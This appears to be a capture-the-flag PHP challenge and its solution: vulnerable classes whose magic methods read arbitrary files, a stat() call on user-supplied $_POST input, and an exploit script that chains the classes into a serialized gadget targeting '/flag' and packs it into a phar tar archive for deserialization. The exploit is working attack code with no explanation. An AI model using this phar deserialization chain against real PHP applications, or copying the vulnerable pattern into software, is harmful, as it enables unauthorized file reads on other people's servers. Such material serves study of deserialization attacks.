class View { public $fn; public function __invoke(){ $text = base64_encode(file_get_contents($this->fn)); echo "<script>alert('".$text."');self.location=document.referrer;</script>"; } } class Fun{ public $fun = ":)"; public function __toString(){ $fuc = $this->fun; $fuc(); return "<script>alert('Be a happy string~');self.location=document.referrer;</script>"; } public function __destruct() { echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>"; } } $filename = $_POST["file"]; $stat = @stat($filename);
class View { public $fn; public function __invoke(){ $text = base64_encode(file_get_contents($this->fn)); echo "<script>alert('".$text."');self.location=document.referrer;</script>"; } } class Fun{ public $fun = ":)"; public function __toString(){ $fuc = $this->fun; $fuc(); return "<script>alert('Be a happy string~');self.location=document.referrer;</script>"; } public function __destruct() { echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>"; } } $a = new View(); $a->fn = '/flag'; $b = new Fun(); $b->fun = $a; $c = new Fun(); $c->fun = $b; @unlink("phar.tar"); @system('rm -r .phar'); @system('mkdir .phar'); file_put_contents('.phar/.metadata',serialize($c)); system('tar -cf phar.tar .phar/*');